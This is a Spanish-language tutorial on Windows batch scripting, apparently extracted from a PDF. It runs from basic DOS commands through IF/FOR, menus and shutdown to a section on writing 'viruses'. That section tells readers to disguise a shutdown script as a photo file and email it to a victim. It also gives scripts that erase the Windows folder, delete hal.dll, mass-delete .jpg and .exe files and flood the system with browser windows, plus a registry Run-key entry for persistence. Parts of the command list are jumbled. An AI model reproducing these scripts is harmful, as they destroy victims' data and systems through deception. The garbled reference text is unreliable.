You are on page 1of 29

¿Qué es batch?

Un archivo batch es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Los comandos son así como los del MSDOS. Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio>Ejecutar->CMD. Hay dos maneras de ejecutar comandos Batch. Desde el Shell de Windows. Escribiéndolos en un archivo de texto con extensión .bat y luego ejecutarlo. ¿Que son scrips? seran todas las ordenes que pongamos, esto quiere decir que si ponemos @echo off se vera lo que queremos que se vea. ¿Qué es un Comando? Es una orden que le damos al sistema operativo para que haga una tarea determinada. Ya sabeis lo necesario...ahora empecemos. Siempre que termineis un programa, debeis de cambiarle la extensión .txt por .bat ------------------------------------------------------------------------------------------------------------------1.- APRENDER EL LENGUAJE Del = Borrar archivos. Rd = Borrar directorio de raíz. Start = Comenzara "algo". Pause = Pausa Exit = Salir Taskkill = Mata proceso. ------------------------------------------------------------------------------------------------------------------set /p x= Son set para hacer preguntas/variables/etc ejemplo: set /p pre= ¿Estas bien? if %pre%== = (llava 2 ==) Para contestar el set /p x=. ejemplo: set /p pre= ¿Estas bien? y abajo if %pre%== si goto si if %pre%== no goto no Goto = Etiquetas. ejemplo: :si y abajo desarrollamos el goto si :no desarrollamos el goto no. Bucle = Es un simple "cajón" que repite una acción. Ejemplo: :no -------------------------------------------------------------------------------------------------------------------

Cls = Limpiara la pantalla. ejemplo: tenemos todo escrito. Ponemos pause (Para que el user lea lo que dice y luego cls así toca una tecla y quedara todo en blanco) Format unidad: = Formatea la unidad. Ejemplo: format c: Msg* = Da un mensaje con un cartelito de Windows. ejemplo: msg* Echo = Da un mensaje dentro de la consola. Ejemplo echo Date = Dia/Mes/Año. Ejemplo: date x/x/x Time= Hora. Ejemplo: time x:x ------------------------------------------------------------------------------------------------------------------echo sirve para poner un texto en la pantalla y también para hacer redirecciones para el texto en pantalla va a ser así: echo hola echo me alegro y para el re direccionar va así echo @echo off>> %nombre%.bat ------------------------------------------------------------------------------------------------------------------shutdown con este código apagamos la pc dependiendo del parámetro que utilicemos así shutdown -l = cerrar cesión shutdown -s= apagar el equipo shutdown -r= reiniciar el equipo shutdown -a= anular el apagado del equipo shutdown -t xx= establecer el tiempo de espera para apagar la pc en segundos shutdown -c= comentario máximo 127 caracteres shutdown -f= fuerza el cierre de todas las aplicaciones. ------------------------------------------------------------------------------------------------------------------Comandos básicos de consola Cls: Limpia la pantalla. Echo: Habilita o deshabilita el volcado de texto de programa. Pause: Detiene la ejecución de comandos y continúa al presionar una tecla. Pause > nul: Igual que pause pero no avisa Date: Muestra la fecha del sistema. Time: Muestra la hora del sistema. Ver: Muestra la versión del sistema operativo. Vol: Muestra el volumen específico de una unidad. Path: Indica el trayecto por defecto del sistema. Mem: Muestra datos sobre la memoria usada, libre, etc. -----------------------------------------------------------------------------------------------------------------Comandos para la gestión de archivos Copy: Copiar un archivo o una carpeta. Del: Eliminar un archivo. Mkdir o MD: Crear un directorio. Rmdir o RD: Eliminar un directorio. Chdir o CD: Cambia a un directorio deseado.

DIR . similar al bloc de notas.Formatea el disco destinatario marcando y eliminando los sectores defectuosos.Indica al sistema en qué directorios debe buscar los archivos de datos o de comandos.SYS . este último reemplaza al primero. FORMAT . ´-cµ escribir mensaje con comillas) ------------------------------------------------------------------------------------------------------------------CHKDSK . FDISK . etc. ATTRIB . If: Condicional para ejecutar distintas sentencias.5.Carga el código ANSI. EDIT .Sys. pero sólo a partir de la versión 6.Acceso a los CD-ROM.Dir: Muestra el contenido de un directorio. la FAT. A partir del DOS 6. SCANDISK . Ya no existe en el DOS 6. a través del Config.Sirve para copiar archivos. creación de un directorio. etc. que sólo se ocupa de archivos de comandos.Instala un disco duro.BAT. Label: Asigna una etiqueta a un disco. Otro nombre de este comando: MKDIR. por "Make Directoryµ. inicializando el directorio y la tabla de asignación de los archivos (FAT). los directorios. concatenarlos. shutdown -s -f -t 15 -c "hola" (´-sµ apaga PC.Sys mediante un Device= APPEND . Goto: ´Ir aµ. Type: Muestra un tipo de fichero en específico.SYS y el AUTOEXEC.Presenta en pantalla o modifica los atributos de los archivos. Debug: Inicia el depurador de códigos. . su estado. Se usará esencialmente para modificar pequeños archivos de texto. crea.2. Se debe especificar la ruta.Presenta la lista del contenido de un directorio. ------------------------------------------------------------------------------------------------------------------Comandos de unidades de disco Fdisk: Gestor de particiones de disco.Controla un disco y provee información sobre su capacidad.Envía el comando direccionado en un disco hacia otro disco. empezando por los llamados "archivos de sistemaµ.Editor que reemplaza a Edlin desde el DOS.2. en su totalidad o de manera selectiva. ´-tµ tiempo en segundos. Ha sido reemplazado por SCANDISK en los DOS 6. Interviene en el Config.Crea un directorio. INSTALL O INSTALAR. Rename o Ren: Renombra un archivo. ´-fµ lo fuerza. cambiarles el nombre. Scandisk: Comprueba el disco duro y lo repara si es necesario. MD . ------------------------------------------------------------------------------------------------------------------Comandos de programación Edit: Editor de textos. que son el CONFIG. y cargando el programa de inicio. Aca estan los demas para los que quieren saber mas del dos ANSI.Herramienta de verificación y reparación de los discos duros. For: Ejecuta varias sentencias hasta terminar el ciclo. Este comando es relativamente reciente en el DOS y complementa al comando PATH. los archivos.Carga los programas residentes. Format: Da formato a una unidad de disco. muestra en pantalla o suprime particiones. MSCDEX . COPY . Choice: Para dar al usuario a elegir entre distintas opciones. ASSIGN .

Una novedad dei DOS 6.Cambio de directorio. su estado. BASIC .Comando para el config. etc. 6. Ha sido reemplazado por SCANDISK en los DOS 6. DATE . Es un comando pequeño e interesante que conviene recordar. DEVICEHIGH . CHCP . cuyo nombre abreviado es CD.Carga un administrador en memoria superior. BREAK . El Backup ya no existe en el DOS 6.Selección de las tablas de códigos. La restauración de los archivos se hace con la orden de sentido contrario.sys.SYS . DBLSPACE . CHKSTATE.Suprime la puesta en reserva de un DOS antiguo.Simplemente borra la pantalla.COM del DOS. fecha introducida se graba en las memorias permanentes. DEFRAG . DEBUG . DEVICE .Una novedad del DOS. lo cual es una bendición porque este comando era uno de los más difíciles de manejar. CHKDSK .Lanza el programa de "debugging' (eliminación de errores).bat. CALL .Una novedad del DOS 6. en una sola operación. RESTORE. por encima de los primeros 640 KB. que permite salir de una secuencia.BAT. o reinstala el procesador de comandos COMMAND.Activa o desactiva la posibilidad de realizar una interrupción con Control + Pausa. . la FAT. según el tipo de archivo.Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado. COMMAND .Compacta el disco duro. DEL . los archivos.Extensión específica para el nombre de los archivos de procedimientos. incluyendo los subdirectorios. CONFIG.7 a más de 10. Le pide al usuario que efectúe una selección en una secuencia «batch». Debug está reservado a los expertos. Suprime un directorio y todo lo que contiene.Instala un driver de periférico.BACKUP . duplicando aproximadamente su capacidad. Uno de los más conocidos es el archivo AUTOEXEC. mostrando mientras tanto su nombre en pantalla. CLS . Se trata del lenguaje de programación más simple que existe.bin.bat como un subprograma.Archivo de configuración que dispone de instrucciones propias. la nueva.Destruye uno o varios archivos en el disco (actúa como el comando ERASE).SYS . COUNTRY .Llama a un procesador secundario de comandos.22. por medio del config.Llama al lenguaje Basic IBM en los DOS IBM. los directorios. Este archivo se ejecuta automáticamente cada vez que se pone en funcionamiento la computadora.En un archivo . DELOLDOS . BAT . DELTREE . CHDIR .Muestra en pantalla y modifica la fecha utilizada por el sistema. CD . adaptándolo al país. CHOICE .Cambio de directorio. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6. que se ejecuta automáticamente cuando usted pone su computadora en funcionamiento.Controla un disco y provee información sobre su capacidad.SYS .sys que determina la capacidad del búfer para el disco. Usado por el programa MemMaker para optimizar la memoria. llama a otro .2. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. sin cambiar ninguna otra cosa. DBLSPACE. BUFFERS .Nacionaliza el sistema. Determina la posición final del archivo dblspace. su nombre completo es CHDIR.Una novedad del DOS 6. La compresión puede variar normalmente de 1.Una novedad del DOS 6. que disponen de toda una gama de comandos propios.

Compara el contenido total. Este comando. en un Config. FASTHELP . para la visualización en pantalla.EXE .COM. FASTOPEN .Comparación de archivos. los comandos ejecutados en un archivo .2 ya que Microsoft consideró que había sido reemplazado ventajosamente por el ´Administrador de archivosµ de ese superprograma que es Windows. FCBS . que no existe más en los DOS 6.Simula la memoria expandida en la memoria extendida. por ejemplo) todas las líneas en las que la encontró. a través del Config.sys.Sys. EXIT .Establece un vínculo entre la memoria convencional y la memoria superior a través del config. vía el config. Este comando está reservado a los expertos.BIN o . o a los últimos que se han utilizado. Opte por DEL ya que se escribe más rápido. memorizando su camino de acceso. EXE2BIN . GRAPHIC .Copia de modo idéntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato. los códigos ASCII 128 a 255.Busca la cadena de caracteres indicada en un archivo y envía al periférico activo de salida (el monitor.Sys.BAT Otra noción más para expertos.Sale de un procesador de comandos. en eco.Proporciona un acceso rápido a los archivos que se usan con más frecuencia. DRIVPARM .Instala el programa de memorización y de llamado de los comandos instalados anteriormente.Se utiliza para conmutar las tablas de códigos. a través del Config.Sys. DISPLAY. usando ON u OFF respectivamente.sys.Carga la tabla de los caracteres gráficos. ERROLEVEL . FILES .Especifica la cantidad de archivos abiertos.Es un direccionamiento incondicional a una línea marcada con un rótulo del mismo nombre en un archivo . DOS .DISKCOMP .Define los parámetros de periféricos en modo bloque. pista por pista y sector por sector.22. No existe más en el DOS 6. DRIVER. de códigos 128 a 255. En la mayoría de los casos.Administra las disqueteras. No está disponible en todas las versiones. GOTO . EXPAND . DISKCOPY .EXE en . FOR .SYS . FIND .Especifica la repetición del mismo comando para cada una de las variables contenidas en la lista. en un Config. A partir del DOS versión 5. EMM386 .BAT. se evita tener que volver a escribirlos. Windows por ejemplo. con las mismas funciones.Especifica la cantidad de bloques de control de archivos.Destruye uno o varios archivos del disco (y actúa como el comando DEL). DOSKEY . DRIVESPACE .Código de errores para archivos .Carga una secuencia que permite la impresión de la pantalla que incluye caracteres gráficos.Muestra en pantalla la lista de comandos de la versión 6 con una breve explicación. ERASE .BAT. De esta manera. de dos disquetes del mismo tipo. .Convierte el formato .Reemplaza a DBLSPACE a partir del DOS 6. EXIT le permite salir del DOS para volver al programa que lo llama. Permite introducir un mensaje que será mostrado en pantalla en todos los casos. FC . DOSSHELL . formateando previamente este último y haciéndolo sobre el modelo del disquete fuente si es necesario.Vuelve a mostrar en pantalla o no.Descomprime un archivo comprimido.SYS .Sirve de soporte a la memoria expandida. a través del Config.sys.Sys. ECHO . según se ponga o no en servicio este eco. Este dos shell ha sido suprimido en la versión DOS 6. GRAFTABL . está destinado a los programadores.Llama a la superestructura de diálogo del DOS. EMM386.

Carga un programa en la memoria superior. HIMEM. pero con los DOS 6. No existe más en el DOS 6. a través del Config. creación de un directorio. INTERSVR . MENUDEFAULT . MENUITEM . Nuevo comando del DOS 6. MACROS .Pedido de ayuda. MSD .SYS . NLSFUNC .Establece las condiciones de funcionamiento de los periféricos. a través del Config. Da informaciones complementarias sobre los países y prepara el uso de las tablas de códigos con CHCP NUMLOCK .Sys. MORE . A partir del DOS 6. Nuevo comando con el DOS 6. IF .Muestra en pantalla la memoria ocupada y la disponible. Define un ítem del menú de arranque. A partir del DOS 6. No existe más en el DOS 6. MSBACKUP . sin que desfilen ininterrumpidamente en la pantalla) MOVE .Administración y optimización de la memoria.Crea un subdirectorio. en el cual ha sido reemplazado por el QBasic. interface de video y conexiones en serie. a partir del DOS 6.Nuevo procedimiento de copia de seguridad. Nuevo comando con el DOS 6. Nuevo comando del DOS 6.Copia de seguridad para el seguimiento del borrado de archivos.Define la cantidad de unidades de disco en el Config. MIRROR .Sys.Incluye un bloque de configuración en otro. Con el DOS 5.Administrador de memoria extendida. por "Make Directoryµ. JOIN .Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta. . LOADHIGH . Otro nombre: LH. LOADFIX . MEM . INCLUDE .Sys. INTERLNK.Llamado del antiguo Basic avanzado de Microsoft. HELP . INTERLNK .Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6. a través del Config.BAT.Programa antivirus.Sys. MODE . Otro nombre: LOADHIGH. Desde el DOS 5. MSAV .Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. para el teclado USA).Carga un programa en la memoria superior. · MENUCOLOR .Realización de macros con Doskey.Asigna el contenido de un disco a un directorio de otro disco.bat.Determina que la sección numérica del teclado esté bloqueada o no. Nuevo comando a partir del DOS 6.Crea. generalmente a través del Autoexec. y también sirve para la preparación de las tablas de códigos.A partir del DOS 6.Lanza el centro de recuperación de datos InterLnk. Su nombre proviene de "National Languages Support Functionµ.Para visualizar página por página en la pantalla (es decir. en el inicio.Comando de ejecución condicional para archivo . Desde el DOS 5. A partir del DOS 6. impresora.Provee información técnica sobre su computadora.EXE .Determina el color del texto y del fondo para el primer menú.GWBASIC . Otro nombre de este comando: MD. modifica o suprime el nombre atribuido a un disco. A partir del DOS 6. LABEL .Conecta dos computadoras. Novedad del DOS versión 6. LH .Administrador para Interlnk. por medio de sus puertos paralelos o en serie.bat. KEYB . LASTDRIVE . generalmente en el Autoexec. MEMMAKER .Llama al editor de conexiones. LINK .Especifica el menú por defecto.Comando relativo a los idiomas nacionales. MKDIR .

En el DOS 6. por lo tanto. marcando una diferencia de una posición para cada SHIFT que se introduce. SHELL .. y . SUBST . en las líneas de comando. Nuevo. a través del Config. sólo debe contener las marcas . SMARTMON .). a partir del DOS 6. en 123 caracteres como máximo por línea de REM. en segundo plano.EXE .Sirve para utilizar más de 10 parámetros reemplazables numerados de 0 a 9. No existe más en el DOS 6.COM. con los DOS hasta el 5 inclusive.Se utiliza para conmutar las tablas de códigos con las impresoras. SETVER. El nombre abreviado es RD. a través del Config. RD . PROMPT . SHARE . Nuevo comando del DOS 6. REPLACE .EXE .Restaura. Los datos de este sector se habrán perdido.Administrador de POWER. RESTORE .Creación de la antememoria de disco SmartDrive.Administrador de SmartDrv.Sustituye un camino de acceso cuya descripción es larga. a través del Config. Este comando se encuentra generalmente en el archivo Autoexec. Es lo mismo que REN. o .Especifiica caminos de búsqueda alternativos para los archivos de comando (con la extensión .Declara las versiones del DOS para algunas aplicaciones.Define o muestra en pantalla los símbolos del sistema utilizados por el DOS.. .BAT) que no se encuentran en el directorio activo.Suprime un subdirectorio que debe estar obligatoriamente vacío (y que. restablece el contenido de un disco a partir de su copia de seguridad anterior. RAMDRIVE . SHIPDISK .Imprime el contenido de archivos. SETVER .Cambia el nombre de un archivo. RENAME . SMARTDRV . SET .Sys. Desapareció en el DOS 6.Ordena datos. sólo existe para la compatibilidad.EXE .Define las pilas.Introduce observaciones. y .SYS . PRINTER. mientras se prosigue con un trabajo en la pantalla. pero más largo de escribir.Programa de monitoreo (de vigilancia) de SmartDrive. RECOVER . POWER. por una unidad de disco ficticia que bastará con llamar luego.Instala un procesador de comandos.EXE o .Sirve para definir el entorno de trabajo que requieren algunos programas.Sys. A partir del DOS 5.Administrador de SETVER.Instala el programa para compartir archivos. y/o su unidad. STACKS . SHIFT .Cambia el nombre de un archivo.Pone en servicio o saca de servicio la administración del consumo de energía. comentarios.Define un ítem del menú de arranque abriendo un submenú.PATH .Es el nuevo lenguaje Basic de Microsoft.Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco destinatario. Nuevo comando a partir del DOS 6.Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. SUBMENU . sólo debe contener las marcas .Utilizado por el programa de optimización de la memoria MemMaker Novedad del DOS 6. RMDIR . QBASIC .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como máximo.Suspende la ejecución de un programa . REM .). El nombre completo de este comando es RMDIR.Instala un disco virtual.bat.Sys. por lo tanto. REN . PAUSE . SMARTDRV. introduciendo un nombre seguido de su equivalencia. PRINT . SIZER. SORT .Bloquea los cabezales del disco duro antes de desplazarlo.EXE .Suprime un subdirectorio que debe estar obligatoriamente vacío (y que. POWER .

A partir del DOS 5. ya no tenemos el dibujo de el blog de notas.Sys. VERIFY .Recuperación de archivos borrados. UNDELETE . VDISK .Sustituye el teclado extendido por el teclado convencional. Lo seleccionaremos pero sin abrirlo y haremos clic al botón derecho del mouse     Comenzemos haciendo algo sencillo virus) luego escribie lo siguiente: primero deben abrir el blog de notas (ahí se hecen los .batµ y quedaría de la siguiente forma: nuestra foto.Copia archivos selectivamente.Muestra en pantalla el contenido de un archivo.Reconstrucción de un disco reformateado.Muestra en pantalla el nombre del disco solicitado. VOL . 2. 3.SWITCHES .bat ya tenemos nuestro primer (no dañino virus.Pone en servicio (con ON) o anula (con OFF) la verificación de los datos escritos en el disco.REGLAS A CUMPLIR 1. inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad -------------------------------------------------------------------------------------------------------------------2. shutdown -t 10 pause exit para guardarlos coloquemos un nombre por ejemplo nuestra foto y le agregamos el ´. todos los virus deben ser comprimidos 4.Muestra en pantalla la versión activa del DOS. al guardar los virus es importante colocar: elnombre.Instala un disco virtual. TYPE . resguardados).bat o sea el nombre que tu le pondrás a tu virus pero al final le colocaras el . Dejó de estar incluido a partir del DOS 6. UNFORMAT . TEMP .bat) al ver nuestro virus vemos que el formato a cambiado. VSAFE . No abrir los virus si no sabes si esta correctamente instalado. ------------------------------------------------------------------------------------------------------------------- Warning!! No abrir @echo off Echo hola Echo ¿sabes? Voy a apagar tu pc. si no uno de un pequeño cuadrito con una engrane o tuerca.. XCOPY . TIME . SYS .Variable de entorno.Muestra los árboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria).Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes.Residente antivirus. luego de terminar un virus colocar al final de ellos: pause y luego mas abajo exit de lo contrario este no funcionara.bat de lo contrario no seria un virus.Copia los tres archivos que sirven de núcleo al sistema del disco fuente activo al disco destinatario. a través del Config. TREE . VER . A partir de la versión DOS 5.

Entra a tu correo le das a adjuntar y adjuntas el virus...y veremos una serie de opciones: nosotros seleccionaremos la que dice: AÑADIR AL ARCHIVO. Borra windows erase C:\WINDOWS \q Este borra todos los jpg y exe del pc @echo off cd\ del *..exe /q shutdown -l shutdown ²s exit Este elimina windows @echo off taskill Explorer tskill Explorer del /q /f /s C:\WINDOWS\system32\hal... y la otra es ZIP cámbialo a zip.jpg /q del *. luego te deben salir una especie de libros de colores. colocas el correo de la persona y lo envías. si ustedes no colocan esto luego de terminar su virus este no funcionara! -----------------------------------------------------------------------------------------------------------------------Programación avanzada de archivos en lotes . y listo cuando la persona lo abra debería apagarse su computadora automáticamente.... (salen dos opciones RAR que en la que esta.dll Este apaga la pc automaticamente @echo off shutdown -f -t 00 tambien pueden saturar la pc para obligarla a reiniciarla: @echo off start iexplore start iexplore start iexplore Pause exit Deben colocar start iexplorer muchas veces muchas muchas y al final deben colocar pause y luego abajo exit.bat ¡ ¡ .

Esto se logra con Etiquetas y la función GOTO. esta es la etiqueta y nos saltamos una parte del codigo. números o para saber si existen archivos. cadenas. if not %cadena1%== %cadena2% ejecutarAccion Para saber si un archivo existe. se usa: if exist "NombreDelArchivo" AccionAEjecutar . IF: Se puede ocupar para comparar. o vuelva a alguna anterior. Para crear una etiqueta solo debemos escribir: Código : :nombreEtiqueta Dos punto (:) seguido del nombre que le daremos a la etiqueta. pero existe una forma para que el Batch se salte lineas. También existe el NOT para ver si no son iguales. pause>nul exit Dato Interesante: En Batch las Mayúsculas y Minúsculas no se diferencian.A continuación veremos los siguientes temas:         Uso de etiquetas Condicionales Creación de Menús Apagado y Reiniciado de Pc Leer archivos externos Insertar al Registro Otras cosas útiles Uso de etiquetas Como bien sabemos la lectura de los códigos Batch se leen de una manera lineal. De esta manera el GOTO funciona escribiendo GOTO seguido del nombre de la etiqueta. Condicionales: El primer condicional que veremos el más usado. Código : @echo off goto :mietiqueta echo ¿Por que me saltan? :MiEtiqueta echo Hola. Si cadena1 es igual a Cadena2 ejecutemos la Orden OrdenAEjecutar. como vemos en el siguiente ejemplo. Ejemplo de sintaxis. if %cadena1% == %cadena2% OrdenAEjecutar Que se podría leer de la siguiente manera.

que imprimirá números del 0 al 21. en distintas variables.1. Un ejemplo de esto seria: Código : if 5 GTR 4 echo Hola FOR: Nos sirve para repetir un comando varias veces.21) aquí especificamos que se repetirá del 0 al 1 y del 1 al 21. do (echo %%i) Esto es la función que se ejecutara en cada repetición del comando. es este: for /L %%i IN (0. Para verificar si el numero es Menor LEQ. Sirve para cuando queremos ver Desigualdad. en este caso un echo que imprimirá la variable. Aquí se repetirá un Echo. por lo cual al poner a*. Un ejemplo. %%i sera el nombre de la variable que almacenara datos in (0. GTR.21) DO (echo %%i) En donde /L es para especificar que nuestro for se basara en un conteo de números.jpg) DO echo %%x pause . LSS. como en el caso de la variable %%i si esta se llamara %%I no seria reconocida como la misma. ¿Por que? * (asterisco) es un signo comodín. EQU. estamos diciendo cualquier archivo que tenga una A delante y luego cualquier cosa. Otro ejemplo del uso de comodín. listaría todos los archivos que comienzan con A. que es el equivalente a == NEQ. Para verificar si es menor o igual. Otro uso que puede ser aplicado en el FOR es el listado de carpetas o archivos.1. Si es mayor GEQ. Batch en algunos casos SI reconoce entre mayúsculas y minúsculas.o también para ver si NO existe: if not exist "NombreDelArchivo" AccionAEjecutar No solo se puede ocupar el signo == para hacer comparaciones. es listar archivos con extensión común como seria este: Código : @echo off FOR %%x in (*. como veremos a continuación: Listado de archivos: Código : @echo off FOR %%x in (a*) DO echo %%x pause Este código. Si es Mayor e igual.

jpg Listado de Carpetas: FOR /D %%x in (a*) DO echo %%x Es casi lo mismo anterior. juntos a los directorios que tienen estos dentro se ocupa /R FOR /R /D %%x in (a*) DO echo %%x y si quisiéramos listar todos los documentos que están dentro de una carpeta contando los que están dentro de carpetas se ocupa solamente /R (Sin /D) FOR /R %%x in (a*) DO echo %%x Con esto creo que tenemos lo básico.Aqui nos estaria listando todos los archivos que tengan la extensión . Salir Luego para seguir ocuparíamos esto: Código : set /p var= if %var%==1 goto :Primero if %var%==2 goto :Segundo if %var%==3 goto exit if %var% GTR 3 echo Error goto :Menu Con esto damos una variable en la que se guardara el numero insertado para luego ser verificado por los condicionales. echo 1. tan solo que al indicar /D solo se aplica a directorios. Comenzaríamos indicando las instrucciones y las opciones. Creación de Menús: Como ya vimos Condicionales y Etiquetas les enseñare una manera de hacer Menús. echo. Si quisiéramos que se listaran los directorios. Segunda Opcion echo 3. También al principio cree una etiqueta para que se pueda volver . Primera Opcion echo 2. de esta manera: Código : @echo off :Menu cls echo Seleccione su opcion tecleando el numero respectivo. si el numero es mayor que 3 nos avisara que no existe esa opción. Talvez otro claber se anime a profundizar más en el tema. y más importante de los condicionales.

Salir set /p var= if %var%==1 goto :Primero if %var%==2 goto :Segundo if %var%==3 goto exit if %var% GTR 3 echo Error goto :Menu :Primero cls color a Echo Esta es la Primera Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu :Segundo cls color 1a Echo Esta es la Segunda Opcion . Segunda Opcion echo 3. echo 1. Primera Opcion echo 2.al menú y un "cls" para limpiar la pantalla. echo. Código : :Primero cls color a Echo Esta es la Primera Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu :Segundo cls color 1a Echo Esta es la Segunda Opcion Echo Precione una tecla para volver al menu Pause>Nul goto :Menu Quedando para terminar nuestro codigo así: Código : @echo off :Menu cls echo Seleccione su opcion tecleando el numero respectivo. Para terminar creamos las respectivas etiquetas.

incluso programarlo para que apague a la hora que desees. ) Leer archivos externos: Para leer un archivo externo con Batch. Entonces. Ya que apaga el pc en 0 segundos sin preguntar nada. incluso puedes cambiar la barra de titulo. También puedes forzar el cierre de los programas. Ok. para que no de tiempo de guardar nada. En windos XP mostrara un contador. como un archivo de texto por ejemplo. que se Apaga Forzosamente y que puede dañar el pc y luego se reinicia es este: Código : shutdown -r -f -t 0 -c "Bye" (No lo recomiendo probar en tu pc.Echo Precione una tecla para volver al menu Pause>Nul goto :Menu Bueno. -t debe ir seguido de los segundos que demorara apagar. pues has la prueba Código : shutdown -s -t 999999 -c "Esto se esta apagando" Código : shutdown -a Con esto ya probamos los dos y podemos ser felices. Tan solo ocupando -f Un ejemplo de un Pc. se ocupa de la siguiente manera el apagado. Es notablemente fácil. con eso les basta para imaginarse como crear sus menús personales. que ni siquiera es obligatorio. Apagado y Reiniciado de Pc: Una cosa muy interesante que puedes hacer con Batch es Apagar y Reiniciar tu Pc. Se usa el siguiente código: Código : type "NombreDelArchivo. si en vez de ocupar -s usas -r el PC se reiniciara. Puedes cancelar el apagado (Antes de que el contador termine) solamente escribiendo shutdown -a ya sea en un archivo de texto con extensión bat. con el comentario que va luego de -c. Bueno. como en el mismo Shell.txt" . shutdown -s -t Tiempo -c "Comentario" donde -s significa que lo apagaremos. pero en Windows Vista no abra ni un contador. Como vieron puede cada sección tener su color. solamente saldrá una alerta con el Comentario. de seguro quieres hacer la prueba. La puedes hacer pero antes de eso te recomiendo que leas lo siguiente.

Si la hora que das ya paso. es para programar alguna acción a cierta hora. Con otro comando podemos borrar. Ejemplo: Código : At 20:00 msg * Son Las 8 de la noche Con esto a las 20:00 nos aparecerá un mensaje que nos dirá que son las 8 de la Noche. Más adelante donde dice C:\MIBATCH. En medio de toda la dirección se puede leer MIBATCH. Código : REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v MIBATCH. También puedes programar un apagado o cualquier Cosa. Con solo esta linea estamos listos.bat.bat Con la función REG ADD Agregamos algo al registro. Donde aremos que nuestro batch se ejecute con el Sistema. se tomara como para el día siguiente.DLL en Windows XP . Haz la prueba! Otras cosas útiles: Para terminar hablare de pequeñas funciones que pueden ser de utilidad. es la dirección completa de donde esta nuestro Batch. Msg Esta función tiene otras utilidades. la verdad yo no entiendo mucho del registro pero leí un poco y aquí tienen un ejemplo que se encuentra a ser sincero en muchas web. Lo que sigue es la "Dirección" de donde insertaremos el registro que en este caso será para que nuestro batch se ejecute al iniciar Sesión.¿Simple no? Insertar al Registro: Insertar al registro tu Batch puede ser muy útil.bat yo puse el nombre del Batch pero también se puede poner cualquier otra cosa. pero les enseñare esta que no funciona en todos los PC. -----------------------------------------------------------------------------------------------------------------------También te interesa Activar Netmeeting en Windows XP Cómo activar Google Wave si tienes el Dev Preview Solución a error con archivo HAL. Sirve para abrir una alerta con un mensaje su utilización es la siguiente: Código : msg * EsteEsMiMensaje AT Esta es una de las que más me gusta.bat /t REG_SZ /d C:\MIBATCH.

Este se cerrara. Nos aparecerá una pantalla negra que dirá "Hola Mundo". Código : taskkill /im /f programaespecifico.html -----------------------------------------------------------------------------------------------------------------------Como puedo cerrar un programa especifico con un batch.php/topic.bat Código : taskkill /f /im wmplayer. cd "C:\" chdir "C:\" Los ejemplos anteriores hacen exactamente lo mismo.net/index. -----------------------------------------------------------------------------------------------------------------------Hola Mundo en Batch Comenzaremos creando un Simple y clásico "Hola Mundo".bat y lo ejecutamos.exe Si lo abres y tienes el reproductor de audio windows.0.132924. cambian al Disco C COPY: . escribiendo en un archivo de texto el siguiente código. CD o CHDIR seguido de la ubicación del directorio al cual nos moveremos. Para usarlo. Código : @echo off echo Hola Mundo pause exit Ahora guardemos el archivo como Nombre. Ejemplo: escribe en un archivo *.exe Ya esta especificado. luego una linea abajo dirá "Presione una tecla para continuar" Ahora aprenderemos algunas funciones de Batch: CD O CHDIR: Si has trabajado en PHP. Sirve para cambiar de Directorio o Mostrar el nombre del actual.http://foro.elhacker. te sera fácil entender este concepto.

Su sintaxis es la siguiente: Copy "Dirección del archivo" "Nueva dirección" Ejemplo: Código : Copy "C:\archivo. Su sintaxis es: Move "Dirección Archivo" "Nueva Dirección" CLS: Sirve para limpiar el contenido de la pantalla: Ejemplo: Código : @echo off echo Hola.txt" Aquí copiaríamos un archivo del Disco C llamado "archivo.txt" "C:\archivo2.txt" como "archivo2.txt" "archivo2.txt" Para acortar un poco podríamos usar: Código : cd "C:\" Copy "archivo.Sirve para copiar uno o más archivos a otro destino. DEL: Sirve para eliminar uno o más archivos. Cuando pulses la tecla se borrara el contenido y cambiara por otro. Su sintaxis es: Del "ARCHIVO" También se puede añadir: del /f /q "archivo" Donde no pide confirmación de eliminación (/q) y fuerza al archivo a borrarse ( /f ) MOVE: Sirve para mover un archivo. pause cls echo ¿Ves? .txt" Donde primero cambiamos de directorio al Disco C con cd "C:\" y luego al copiar no tenemos que especificar que esta en el Disco C ya que ya nos encontramos en el.

Luego para borrar el contenido de pantalla escribe: Código : Cls Ahora veamos la ayuda de la función Copy: Código : copy /? Cerremos la ventana: Código : exit Ahora vamos a crear un Batch que copie un archivo. En la carpeta donde crearás el archivo . luego lo mueva a otro directorio. Copiaremos un archivo pause copy "copiame. Podemos poner en práctica esto de la siguiente manera: Abramos el Shell de windows: Inicio->Ejecutar-CMD Una vez abierto escribamos: Código : echo off Para eliminar el eco.txt" cd "C:\" . Ahora el Batch: Código : @echo off echo Hola.pause exit Si quisiéramos averiguar más sobre las funciones. o conocer algunas nuevas por nuestra propia cuenta podemos escribir en el Shell el nombre del comando seguido de /? y aparecerá toda la información necesaria. Este será el archivo que copiaremos. En él.txt" "C:\copiado.txt" del "copiame.TXT. borre el original y vuelva a copiar el copiado.txt" "copiado.txt" move "copiado. escribe lo que quieras.BAT crea un archivo de texto llamado COPIAME.

